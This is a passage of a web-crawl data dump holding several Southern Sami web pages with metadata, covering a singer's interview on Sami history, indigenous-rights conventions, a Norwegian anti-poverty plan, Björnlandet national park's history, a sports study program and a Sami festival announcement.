jagev\n-","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/Upplevelser\/ledtieh-vuejnedh\/","date":"2022-06-26T20:35:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271864.14\/warc\/CC-MAIN-20220626192142-20220626222142-00761.warc.gz","language":"sma","language_score":0.9999778271,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999778270721436}","num_words":67,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sara Ajnnak lea akte dejstie Saepmien vihkielommes gïelijste. Dïhte båatsoefuelhkeste, upmejesaemien dajvesne, jïh soptseste tjihtemen bïjre aerpievuekien dajvijste, sïerredimmien jïh gïeleteehpemen bïjre. Daelie abpe Saepmiem ritneme, Tråanten raejeste Sámi Grand Prixen raajan sov fååmijes gïeline.\nSara Ajnnak - Sjeavohtsvoeten revolusjovne\n– Reaktoe domtoe mijjen soptsesinie båetedh. Guktie staaten politihke sijjiem vedti jeatjah saemide mijjen dajvesne, jïh naemhtie guktie mijjieh bovtsigujmie gïehtelin idtji vielie staatusem utnieh gosse dïhte ekstensijve båatsoe mijjen dajvide bööti.\nÅejvieladtjh mijjen mïerhkh aktine peanna-sïevine nåhkehtin, jïh mijjieh baajhtasovvimh mijjen maadtoen dajvijste, Sara Ajnnak soptseste.\nDïhte aktem sjïere vuasahtallemem dorjeme sov fuelhkien histovrijen bïjre. Altese vuelie jïh laavlome dïeves domtesijstie tjaebpieslaakan låtnoehtieh altese soptsesigujmie sceneste jïh dejstie filmijste mah göökte stoerre lierriehtisnie vååjnoeh scenan duekesne. Destie vuartasjæjja aktem jielije feelemem åvtetje aejkien sïjse åådtje, Såekiejaevrien gåajkoe Dearnesne, gubpede altese maadtoeladtjh aalkovistie båetieh. Spidtje-burrieh båatsoe-saemide dehtie dajveste tjihtin, jïh juktie bïerkenidh dellie båatsoe-saemieh aaj spidtjh tseegkin jalhts lij luhpehts. Jeenjesh bovtsigujmie gïehtelin tjeakolde. Gosse dïhte orre båatsoe-laake bööti 1971 dle orre saemien sïjth böötin sijjeste doh båeries, jïh Saran fuelhkie våaromem sov båatsose dassi.\n– Tjoerimh akten eevre ammes dajvese juhtedh, jïh aehtjie tjoeri trïengkine aelkedh. Daelie bovtsigujmie gïehtelibie Sváippas-dajvesne, göökteluhkie mïjlh noerhtelisnie, Aarjepluevien vaerine, jalhts mijjen vaajmoeh mijjen båeries dajven åvteste tsaepmieh, Sara Ajnnak jeahta.\n– Ov goh aktem ellies kultuvrem, gaajhkh mijjen soptsesh jïh histovrijem dassedh. Mijjen aerpievuekien gööleme-jaevrieh mubpijste åtnasuvvieh.\nGaajhkesh daennie dajvesne histovrijem demtieh, men ij guhte leah doesteme dan bïjre soptsestidh, daesnie fer jïjnjh ovvaantoeh. Easkah dan minngemes tïjjen vååjnoe goh Saepmie dan jïjnjem skearkagamme guktie maahta mijjen ovlæhkoen bïjre govledh.\n– Gaajhkh saemieh sån sïerredimmiem dååjroeh gosse leah jienebelåhkoen årroji gaskem, men sïerredimmie jïjtse åålmegistie tjerkebe baektjede. Nov lea jïjtse åålmegistie mijjieh limh veanhtadamme dåarjoem åadtjodh, men daesnie åejvieladtjh buektiehtamme mijjem joekehtidh jïh mijjen bijjelen reeredh, Sara vaajmoste sjoehkede.\nSara Ajnnak lea gaskem jeatjah barkeme dokumentaarefilme-sjugniedæjjine Oskar Östergren mij seamma dajveste båata, jïh plearoeh dååjrehtimmieh åtna. Aaj Amanda Kernell, produsente Sameblod-filmeste, seamma leeneste båata. Sara Ajnnak tuhtjie hijven jienebh gïelh dej ektie histovrijem bæjjese lutnjieh, jïh dah leah jienebh daennie sjeavohth revolusjovnesne, Saepmien orre gïeligujmie mah krievieh govlelgidh.\n– Dan jïjnjh ræhpas saejrieh Saepmesne. Tjuara åadtjodh dan bïjre soptsestidh bielelen naaken stillieh datnem sjaavodh, ihke edtjebe buektiehtidh ellies vihth sjïdtedh, Sara jeahta.\n– Jis ajve tjuara soptsestidh bielelen govlehtoevedh dellie ij murredh. Saaht gusnie dïedtelgimmie lea sjugniehtovveme, dellie vihkeles daah soptsesh soptsesuvvieh.\nGuktie dov histovrije datnem tsavtseme goh almetje?\n– Akte stoerre teehpeme mijjieh gïelem naa varke dassimh kolonialiseradimmesne. Manne guhkiem domtesinie tjabreme manne lim unnebe-vyörtegs, dan åvteste im leah gïelem maahteme. Easkah gosse manne eelkim gïelem lïeredh, jïh gïelem meatan vaalteme musihken jïh joejken sïjse manne damtem doh reaktoeh bæhtah leah aalkeme sijjen sijjiem gaavnedh.\nJis båetijen aajkan vuartesjh, mah haestemh dov uvte vuajnah?\n– Vuajnam båatsoe-gujnh eah leah våajnoes annje. Ålmah gujni åejjiej bijjeli soptsestieh, jïh gujnh eah naan tjïelke faamoem utnieh. Båatsoe lea gujht kaarri nommesne, guktie gujni gïelh eah govlelgh. Dejnie lij badth byöreme maam akt darjodh. Mijjieh aktem gujnen revolusjovnem daarpesjibie. Tjoerebe aelkedh meatodh gujnh jïh ålmah joekehts staatusem utnieh, easkah dellie libie reaktoe geajnosne. Men akte guhkies geajnoe vaedtsedh, åvtelen båetebe dohkoe gusnie edtjebe årrodh, Sara Ajnnak jeahta.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/subject:1:20e0fdca-5237-4095-a9e5-cea7d63866c0\/topic:3:172880\/topic:5:182050\/resource:1e51fc7f-2236-4924-9d9b-c014a4b7a1fd","date":"2022-06-26T04:48:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103037089.4\/warc\/CC-MAIN-20220626040948-20220626070948-00107.warc.gz","language":"sma","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999973773956299}","num_words":511,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaskenasjonaale konvensjovnhSaemiedigkie lea reessehtæjjah gaskenasjonaale orgaanine juktie åålmegerïekteles konvensjovnh, bæjhkoehtimmieh jïh jeatjah dïrregh evtiedidh jïh fulkesidh mah veartenen aalkoeåålmegi reaktah nænnoestieh. • EN:n konvensjovne sivijle jïh politihkeles reaktaj bïjre jaepeste 1966 (ICCPR) gellie vihkeles ååmegerïekteles nåårmh åtna saemierïekteles ektiedimmesne. Daam konvensjovnem aaj inkorporeereme nöörjen reaktese jïh dïhte jeatjah laaki uvti båata, v. åålmegereaktalaakine. Joekoen vihkele lea artihkele 1 mij lea åålmegen reaktan bïjre jïjtje moenedh, artihkelh 2, 3 jïh 26 mah leah ij-sïerredimmien bïjre, jïh artihkele 27 mij vihteste almetjh mah etnihkeles, religijööse jallh gïeleldh unnebelåhkojde govlehtuvvieh eah edtjh reaktam nyöjhkesovvedh sijjen kultuvrem utnedh, sijjen religijovnese jaehkedh jïh religijovnem utnedh, jallh jïjtsh gïelem nuhtjedh. Aalkoeåålmegi bïjre artihkele 27 lea aaj reaktan bïjre materijelle kultuvredarjoemidie jïh aerpievuekien jieliemidie mah leah åtnoen bïjre eatnamistie jïh eatnemevierhtijste. Njoelkedasse aaj vaarjelimmiem vadta skïlkehtassi vööste eatnamisnie dejnie dajvine gusnie aalkoeåålmegh aerpievuekien jielieminie gïehtelieh. EN:n konvensjovne ekonomeles, sosijaale jïh kulturelle reaktaj bïjre jaepeste 1996 (ICESCR) vihteste gaajhkh almetjh reaktam utnieh jïjtjh nænnoestidh, sijjen politihkeles sijjiem nænnoestidh jïh jïjtsh ekonomeles, sosijaale jïh kulturelle evtiedimmiem eevtjedh. Konvensjovne ekonomeles, sosijaale jïh kulturelle reaktaj bïjre aaj artihkelh åtna mah leah vihkele dejtie saemierïekteles dåeriesmoeride. Seammalaakan goh konvensjovne sivijle jïh politihkeles reaktaj bïjre, SP, lea aaj ESK:m inkorporeereme nöörjen reaktan sïjse åålmegereaktalaaken tjïrrh, jïh jeatjah laaki uvte båata. Artihkele 2 vihteste staath åeliedimmiem utnieh tjirkedh tjïrrehtimmie reaktijste, mah leah vihtiestamme ESK:sne dorjesuvvieh bielelen naan såarhts sïerredimmie. Gaajhkh åålmegh maehtieh sijjen ræjhkoesvoeti bijjeli reeredh eatnamisnie, jïh ij saaht guktie akte åålmege edtja sov jieliemassevåaromem dassedh. Staath tjuerieh sjiehteles dahkoeh darjodh juktie konvensjovnen reaktah sjïehtesjidh dan jïjnjem maahta, viertiestamme vierhtiejgujmie mah laantesne gååvnesieh. EN:n konvensjovne maanaj reaktaj bïjre jaepeste 1989 (MK) göökte reaktah åtna mah joekoen aalkoeåålmegi reaktah neebnieh. Artihkele 30 lea mahte seammalaakan goh SP-artihkele 27, dejnie joekehtsinie aalkoeåålmegh leah sjïerelaakan neebnesovveme MK-artihkelisnie 30. Njoelkedasse åålmegerïekteles åeliedimmieh staatese tseegkie saemien maanaj byjjenimmietsiehkiej bïjre, jïh dej religijööse, kulturelle jïh gïeleldh reaktaj bïjre. Artihkele 17 (d) staatem åelede barkedh ihke medijh joekoen aalkoeåålmegi maanaj gïeleldh daerpiesvoeth krööhkestieh. Seammalaakan goh SP jïh ESK lea aaj maanakonvensjovnem inkorporeereme nöörjen reaktese åålmegereaktalaaken tjïrrh. EN:n konvensjovne nåhkehtimmien bïjre gaajhkesåarhts naeliesïerredimmeste jaepeste 1965 (NSK) lea dïhte vihkielommes åålmegerïekteles dïrrege sïerredimmien bïjre. Sïerredimmie aalkoeåålmegistie Naeliesïerredimmiekonvensjovnen nualan båata. EN:n naeliesïerredimmiemoenehtse joekoenlaakan tjïerteste aalkoeåålmegi teehpeme laanteste jïh eatnemevierhtijste «koloniseereme, kommersijelle sïeltide jïh staateles gïehtelimmide» leah sïerredimmie. Naeliesïerredimmiemoenehtse gaskem jeatjah lahtestimmine bööti Nöörjen Reerenassen raeriestæmman finnmarhkelaakese, gusnie tjoeperdimmiem buakta laakeraeriestimmie sjïerelaakan saemien gïehtjedimmiem jïh sjæjsjalimmiefaamoem eatnamasse jïh eatnemevierhtide Finnmarhken fylhkesne giehpede. Moenehtse birri Nöörje tjoeri loetemh eatnemereaktagyhtjelasside gaavnedh mejtie saemien åålmege meehti jååhkesjidh. Skïereden 13.b. 2007 EN:n generaalekrirrie EN:n bæjhkoehtimmiem aalkoeåålmegi reaktaj bïjre nænnoesti. Bæjhkoehtimmie lea reaktaj bïjre jïjtjenænnoestæmman, eatnamasse jïh vierhtide, konsultasjovni bïjre frijje bievneme jååhkesjæmman, kultuvren, kultuvreaerpien, aerpievuekien daajroej, gïelen, healsoen jïh ööhpehtimmien bïjre. Bæjhkoehtimmie tjïelkelaakan tjïerteste aalkoeåålmegi reaktam jïjtjh nænnoestidh, daan nuelesne saemien åålmegen reakta frijjelaakan jïjtsh ekonomeles, sosijaale jïh kulturelle evtiedimmien jïh jïjtsh eatnemevierhtiej bijjelen nænnoestidh, jïh reakta frijjelaakan sijjen politihkeles sijjiem nænnoestidh. Bæjhkoehtimmie aaj tjïerteste saemiej reaktam sijjen politihkeles, rïekteles jïh ekonomeles institusjovnh nænnoestidh. • ILO-konvensjovne nr. 169 aalkoeåålmegi jïh krirriealmetji bïjre jïjtjeraarehke staatine jaepeste 1989 (ILO 169) lea vihkeles dïrrege åålmegereaktesne aalkoeåålmegereaktaj bïjre. Konvensjovne lea reaktaj bïjre eatnamasse, barkoetsiehkien, barkoelïerehtimmien, healsoen jïh ööhpehtimmien bïjre. Konsultasjovnh jïh meatan årrodh lea roenegierkie konvensjovnesne. Konvensjovne biologeles gellievoeten bïjre jaepeste 1992 (CBD) lea aaj sjyöhtehke akten saemierïekteles evtiedimmien gaavhtan, joekoen artihkele 8j jïh 10c. Goh bielie dejnie staateles åeliedimmine juktie biologeles gellievoetem vaarjelidh, staath edtjieh aalkoeåålmegi seabradahki jïh voenges seabradahki daajroem, orresjugniedimmieh jïh praksisem «ååktedh», vaarjelidh jïh tjåadtjoehtidh, mah aerpievuekien mietie jielieh.». EN:n Nyjsenesïerredimmiekonvensjovne doh vihkielommes åålmegereaktah, fïereguhten vyörtegsvoetem jïh aarvoem, jïh seamma reaktah ålmide jïh nyjsenidie våaroeminie utnieh. Konvensjovne baakoetjïertem sïerredimmie nyjsenijstie defineerie goh fïerhte joekehts gïetedimmie, ålkoestimmie jallh gaertjiedimmie tjoelen gaavhtan mij konsekvensine jallh ulmine åtna jååhkesjimmiem, niktemem jallh tjïrrehtimmiem nyjseni reaktijste jïh vihkeles frijjevoetijste hiejhtedh jallh måakoedidh, dennie politihkeles, ekonomeles, sosijaale, kulturelle, sivijle jallh fïerhte jeatjah suerkesne, saaht man sivijle statuse, jïh mïrrestalleminie ålmaj jïh nyjseni gaskem goh aalkoe. Konvensjovne nyjseni reaktah feerhmie dovne privaate jieliedisnie jïh gosse lea byjjes reaktaj bïjre seabradahkesne. Konvensjovne ij naan sjïere reaktah aalkoeåålmegidie utnieh, men gaajhke såarhts sïerredimmiem nyjsenijstie ovmessie areenine ållermaahta.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/gaskenasjonaale-konvensjovnh-jih-aalkoeaalmegereaktah\/gaskenasjonaale-konvensjovnh\/","date":"2022-08-17T22:25:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573118.26\/warc\/CC-MAIN-20220817213446-20220818003446-00770.warc.gz","language":"sma","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999995231628418}","num_words":648,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Giefiesvoetem nåhkehtidh\nReerenasse dahkoesoejkesjem dorjeme juktie giefiesvoeten Nöörjesne nåhkehtidh. Soejkesje akte bielie aktede tjåenghkies politihkeste mij feerhmie\n- sosijaale jaabnedimmie\n- sjïehtesjimmie\n- giefiesvoetem nåhkehtidh\nSoejkesje råjvarimmieh buerkeste ihke gaajhkesh edtjieh nuepiem åadtjodh barkose båetedh, maanah jïh noerh edtjieh maehtedh meatan årrodh jïh skearkagidh, jïh aaj råajvarimmieh mah jieledetsiehkide bueriedieh dejtie mah nåakemes utnieh. Aaj laake sosijaale dïenesji bïjre NAV'sne ulmine åtna jieledetsiehkide bueriedidh dejtie mah nåakemes utnieh, jïh soijaale jïh ekonomeles jearsoesvoetem sjugniedidh.\nFylhkenålma edtja lïerehtimmine viehkiehtidh\nFylhkenålman laavenjasse lea lïerehtimmine, evtiedimmine, maahtojne jïh kvaliteetine viehkiehtidh dejnie sosijaale dïenesjinie Nav'sne, jïh jeatjah gaavhtan ekonomeles raeriestimmiem jïh sosijaale dïenesjh tjïrrehtidh mah leah maanaj jïh noeri bïjre.\nDåarjoe juktie giefiesvoetem nåhkehtidh\nLissine dle Fylhkenålma jienebh beetnehdåarjoeöörnegh reerie. Dah dåarjoeh leah akte lïhtse dahkoesoejkesjisnie giefiesvoeten vööste, jïh gaajhkh tjïelth maehtieh dåarjoen bïjre syökedh. Fylhkenålma jïh Barkoe- jïh tryjjesdirektovraate (Nav) veeljieh mah tjïelth mah edtjieh dåarjoem åadtjodh. Dåarjoe råajvarimmide maanagiefiesvoeten vööste edtja giefiesvoetem jïh sosijaale eksklusjovnem heerredidh jïh giehpiedidh maanaj, noeri jïh maanafuelhkiej luvnie mah sosijaaleviehkiem åadtjoeh NAV'ste. Gåetiesosijaale barkoen tjïrrh edtja tjïelten dïenesjidie nænnoestehtedh jïh evtiedidh guktie dah buerebelaakan maehtieh gorredidh dam viehkiem mah gåetieluhpehts almetjh jïh geeruveutnijh jïjtsh gåetesne daarpesjieh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Healsoe-jih-hokse\/Giefiesvoetem-nahkehtidh\/","date":"2022-08-15T00:13:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572089.53\/warc\/CC-MAIN-20220814234405-20220815024405-00394.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":186,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Histovrije\nNaturvårdsverket jïh leeneståvroeh 1980-låhkoen aalkoevisnie tjïrrehtin nasjonaale inventeeredimmiem Sveerjen moeresermijste mah ennje aajmene. Jaepien 1986 dellie goerehtamme skåajjeinventeeremem vuesiehti mij evtiedi guktie edtji parhkem gaertjiedi.\nOrre vyörtegs skåajjh aajhtsi\nJaepie 1995 raejeste jïh 2000 raajan Leeneståvroe inventeeremh tjïrrehti raakte parhken luvlielisnie.\nInventeereme vaarjelimmievyörtegs staaten skåajjh (2003) lij våarome gosse nasjonaaleparhkesoejkesjem 2006-2008 vuartasji. Naturvårdsverketen nasjonaaleparhkesoejkesje 2008 jïh aaj Leeneståvroen inventeeremh aktani reservaatetseegkemh Björnlanden luvlie jïh åarjel jïh Svedjeberget lij dan mænngan vyörtegs våarome gosse nasjonaaleparhkem vijriemdi.\nVijriedamme prosjekte 2013-2017\nBarkosne gosse gelkien nasjonaaleparhkem vijriemdidh dellie Naturvårdsverket, Leeneståvroe Västerbotten, Sjeltien tjïelte, maarhkeaajhterh, vijremesiebrieh jïh Vualtjeren noerhtesïjte. Dehtie laavenjostoste sjïdtin njoelkedassh, dajveöörnegh jïh gorredimmiesoejkesje vijries ulmiejgujmie guktie eatnamisnie dåemiedidh jïh eatnemem gorredidh. Barkoen lij gellie daltesh:\n- Inventeeremh, ektieraerieh, maarhkem åestedh jïh gorredimmiem soejkesjidh,\n- Tjaangemesijjie jïh baalkah, ståapoeh jïh tjaangemesijjieh,\n- Eelkimh vaaroemïerhkem Sveriges nationalparker \/ Sveerjen nasjonaaleparhkh barkedh.\nRïhpestimmie\nSveerjen rïjhkebiejjie njoktjen 15.b. 2017 sjæjsjali reerenassen uvtelassese jååhkesjidh vijriedamme nasjonaaleparhken bïjre. Dïhte tjaebpies biejjie ruffien 10.b. 2017 dellie viht Björnlanden nasjonaaleparhkem rïhpestin gusnie laanteåejvie, tjïelteåejvie jïh generaaledirektööre håaloejin. Væjkeles tsïeglh viehkiehtin vuesiehtimmieh rijremeklubbh Sjelteste jïh Eskils bussh logistihkine. Mijjieh låavthgåetieh tseegkimh tjaangemesijjesne Angsjö jïh guassastallimh joptsem jïh gïhpelaejpiem. Johan Norberg jïh Jonas Knutsson spealadin taigan 500 jaepiej båeries bietsiej lïhke.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/suoddjimparkkadiedo\/histovrije\/","date":"2022-08-17T13:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572908.71\/warc\/CC-MAIN-20220817122626-20220817152626-00640.warc.gz","language":"sma","language_score":0.9999694824,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999969482421875}","num_words":186,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- fysiske darjomen jïh saavremen bïjre\n- saavremestuvreme\n- healsoen, beapmoen jïh tseegkemen bïjre kråahpeste\n- teorijefaagh\nDatne byörh\n- ïedtjem utnedh healsoste jïh fysiske darjoemijstie\n- ïedtjem utnedh saavredh fïerhten biejjien, mearan skuvlesne jïh skuvlebiejjien mænngan\n- væjkele årrodh aktene jallh jieniebinie gaarsjelimmine\nraajan bielie learoehkijstie Jåa1-daltesisnie maahta sïjse vaaltasovvedh baahtsemepryöven jallh dokumenteereme tjiehpiesvoeti gaavhtan\nDatne\n- studijemaahtoem åadtjoeh jïh maahtah jollebe ööhpehtimmiem vaeltedh\nJis jollebe ööhpehtimmiem vaaltah, maahtah gaskem jeatjah sjïdtedh\n- fysioterapeevte, gaarsjelimmiepsykologe jallh persovneles saavrehtæjja\n- lohkehtæjja, gaarsjelimmiekonsulente jallh raeriestæjja fysiske darjomi jïh healsoen sisnjelen\n- åvtehke ålkoejieleden jïh eatnemeturismen sisnjelen\n- pollise, befaale jallh offiseere\nMaahtah aaj jïjtjemdh jeatjah barkojde ööhpehtidh – sïejhme studijemaahtojne maahtah doh jeenjemes studijh ohtsedh jïlleskuvline jïh universiteetine.\nBarkoesijjieh maehtieh årrodh\n- skuvlh\n- saavremejarngh jallh gaarsjelimmieorganisasjovnh\n- båehtjierdimmieinstitusjovnh\n- militæære- jïh pollisesuerkie\nTsaekemekrïevenassh jollebe ööhpehtæmman\nSïejhme studijemaahtojne maahta dejtie jeanatjommes studijidie ohtsedh jïlleskuvline jïh universiteetine. Men såemies studijh sjïere tsaekemekrïevenassh utnieh:\n- Real-faagekrïevenassh: Såemies studijh krievieh dov leah vihties realfaagh. Dah studijh maehtieh årrodh insjenööre-, realfaage- jïh medisijnen studijh. Datne tsaekemekrïevenasside jïlleskuvle- jïh universiteetestudijidie gaavnh daesnie samordnaopptak.no. Gaarsjelimmiefaage maahta geerve årrodh sijjiem åadtjodh tæjmoesoejkesjisnie gaajhkh realfaagh veeljedh mejtie daarpesjh. Gïehtjh dov skuvline mejtie dah maehtieh datnem dejtie realfaagide faalehtidh mejtie sïjhth vaeltedh.\nValg av fag i utdanningsprogram for idrettsfag\n- Tre programfag kan du velge selv, ett på Vg1, ett på Vg2 og ett på Vg3.\n- De valgfrie programfagene kan være videre spesialisering innen idrettsfag og\/eller fag fra et annet programområde i studieforberedende utdanningsprogram (for eksempel realfag eller fremmedspråk).\n- Det er opp til skolen din hvilke programfag som tilbys.\n- Hadde du ikke fremmedspråk på ungdomstrinnet? Da må du ta fremmedspråk som fellesfag på Vg3 istedenfor det valgfrie programfaget på Vg3.\n- Har du spesielle framtidsdrømmer? Da bør du sjekke opptakskravene til studiene, før du velger fag.\n- Programfag i fremmedspråk og realfag gir tilleggspoeng ved opptak til høyere utdanning.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/gaarsjelimmiefaage\/program\/v.id","date":"2022-08-16T06:54:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00365.warc.gz","language":"sma","language_score":0.9998426437,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999842643737793}","num_words":290,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daniel Steinfjell lea öörnemeiktedæjjine sjïdteme Saemien Sijten jïh Gïelem nastedh'en luvnie. Åejviefokuse edtja årrodh tjaktjefestivaalem Tjaktjen Tjåanghkoe koordineeredh, lissine jeatjah öörnemh mej åvteste Saemien Sijte jïh Gïelem nastedh dïedtem utnieh.\nMubpie Tjaktjen Tjåanghkoe mïetsken 25. – 28. b. 2022 sjædta. Dellie Saemien Sijte okside don orre museumegåatan Horjem-njuanesne rïhpestamme. Stööremes bielie festivaaleste sæjhta dan åvteste Horjemnjuanesne årrodh.\nMænngan Saepmien noerhtemes bielesne orreme Daniel tuhtjie hijven gåetide båetedh sov roehtside Snåasesne jïh åarjelsaemien dajvese. – Snåase iktesth jearsoe sïelkedahkine orreme, akte staeries sijjie jïh håaltoe naa sïejhme juhtije jieliedisnie. Dïhte sijjie gåabph iktesth bååstede båatam, gusnie mov leah buerie voelph, mojhtesh jïh lïegkedimmiepulse, Daniel soptseste.\nDanielen lea nænnoes dååjrehtimmie barkoste gelline festivaaline. 2018 raejeste tjåadtjoehtæjjine orreme jearsoesvoeten åvteste Riddu Riddu-festivaalesne, jïh lissine dovne jïjtjevyljehke barkijinie jïh barkijinie baalhkine orreme, dej gaskem Festspillene Noerhte-Nöörjesne, Hove-festivaale, Døgnvill jïh TIFF. Altese bachelorgraade Seabradahkejearsoesvoetesne aaj nåhtojne båata.\nSov dååjrehtimmine jeatjah festivaalijste dan lea håhkoe viehkine årrodh jeereldihkie jïh gamte kultuvresisvegem sjugniedidh. Dïhte aavode åarjelsaemien kultuvrefestivaalem sov hïejmevoenesne öörnedh, eevre orre museumegåetesne.\n– Ulmie lea rïektesisnie dam orre gåetiem jïh ålkoedajvem åtnose vaeltedh, goerehtidh magkeres nuepieh desnie gååvnesieh jïh ektesne hijven dååjresh sjugniedidh desnie. Maahta såemies jarkelimmieh sjïdtedh viertiestamme aarebi jaepiejgujmie, men Tjaktjen Tjåanghkoen vaajmoe jåarhka, jïh munnjien lea vihkele dan barkose bigkedh mij lea dorjesovveme, guktie almetjh mah leah daesnie orreme aarebi, festivaalem damtijieh, eadtjohke Daniel jeahta jïh jåarhka. – Mov væjkeles barkoevoelpigujmie ektine Saemien Sijtesne jïh Gïelem nastedh'isnie leam daan aavrehke barkoedåahkan båetedh laavenjostoeguejmijste stoerre dååjrehtimmine mah programmine viehkiehtieh. Åarjel-saemiej skuvle jïh internaate, Duodjeinstituhtta, Saemien Åålmege, Kråangken jåarhkeskuvle jïh Saemien gaarsjelimmiesiebrie aaj laavenjostoegujmieh mah leah meatan orreme tjïrrehtimmesne, guktie leam eevre jearsoe mijjieh buektiehtibie murreds jïh jeereldihkie festivaalem öörnedh. Festivaale abpe fualhkan jïh gaajhkide aaltaridie – sïjhtebe mijjen kultuvrem heevehtidh jïh viehkiehtidh guktie dijjieh sïjhtede damtedh goh lidie gåetesne mijjen orre åarjelsaemien museume- jïh kultuvregåetesne, Daniel Steinfjell minngemes jeahta.\nDaniel gaajhkesidie haasta åssjalommesigujmie jïh lahtesigujmie båetedh Tjaktjen Tjåanghkose.\nDanielen e-påaste: [email protected] jallh tellefovne: 940 17 026\n—–\nDaniel Steinfjell er ansatt som arrangementkoordinator hos Saemien Sijte og Gïelem nastedh. Hans hovedfokus er å koordinere høstfestivalen Tjaktjen Tjåanghkoe, i tillegg til andre arrangement i regi av Saemien Sijte og Gïelem nastedh.\nNeste Tjaktjen Tjåanghkoe blir 25. – 28. august 2022. Da har Saemien Sijte åpnet dørene til det nye museumsbygget på Horjemstangen. Det meste av festivalen vil derfor foregå på Horjemstangen.\nEtter å ha bodd i den nordlige delen av Sápmi synes Daniel det er fint å vende hjem til sine røtter i Snåsa og sørsamisk område. – Snåsa har alltid vært en trygg havn, et fastpunkt og en base i et generelt ganske nomadiserende liv. Plassen jeg alltid kommer tilbake til, hvor jeg har gode venner, minner og hvilepuls, forteller Daniel.\nDaniel har solid erfaring fra arbeid på en rekke festivaler. Han har siden 2018 vært sikkerhetsansvarlig på Riddu Riddu, i tillegg til å ha arbeidet både som frivillig og lønnet på blant annet Festspillene i Nord-Norge, Hove-festivalen, Døgnvill og TIFF for å nevne noe av hans engasjement. Hans bachelorgrad i Samfunnsikkerhet kommer også godt med.\nMed sin erfaring fra andre festivaler håper han å kunne bidra til å skape en variasjon og bredde av kulturinnslag. Han ser frem til å arrangere en sørsamisk kulturfestival i hjembygda si, i et splitter nytt museumsbygg.\n– En målsetning er å virkelig ta i bruk det nye bygget og uteområdet, utforske potensialet i det og sammen skape gode opplevelser der. Det kan bli noen forandringer i forhold til tidligere år, men kjernen i Tjaktjen Tjåanghkoe består, og det er viktig for meg å bygge videre på det arbeidet som er gjort, så det vil være gjenkjennbart for de som har vært med tidligere, sier en engasjert Daniel og fortsetter. – Med mine dyktige kolleger ved Saemien Sijte og Gielem Nastedh er jeg så heldig å komme til et etablert team av erfarne samarbeidspartnere som bidrar i programmet. Åarjel saemiej skuvle jïh internate, Duodjeinstituhtta, Saemien Åålmege, Grong videregående skole og Samisk idrettslag er også samarbeidspartnere som har vært involverte i gjennomføringen, så jeg føler meg trygg på at vi kan få til en interessant og variert festival. En festival for hele familien og alle aldersgrupper – vi vil feire vår kultur og få dere til å føle dere som hjemme i vårt nye sørsamiske museum og kulturarena, avslutter Daniel Steinfjell.\nDaniel oppfordrer alle til å komme med idéer og inspill til Tjaktjen Tjåanghkoe.\nHan nåes på e-post: [email protected]\neller telefon: 940 17 026","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/tjaktjen-tjaanghkoe.no\/2021\/08\/daniel-skal-lede-tjaktjen-tjaanghkoe\/","date":"2022-08-10T16:22:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571198.57\/warc\/CC-MAIN-20220810161541-20220810191541-00629.warc.gz","language":"sma","language_score":0.9900391698,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 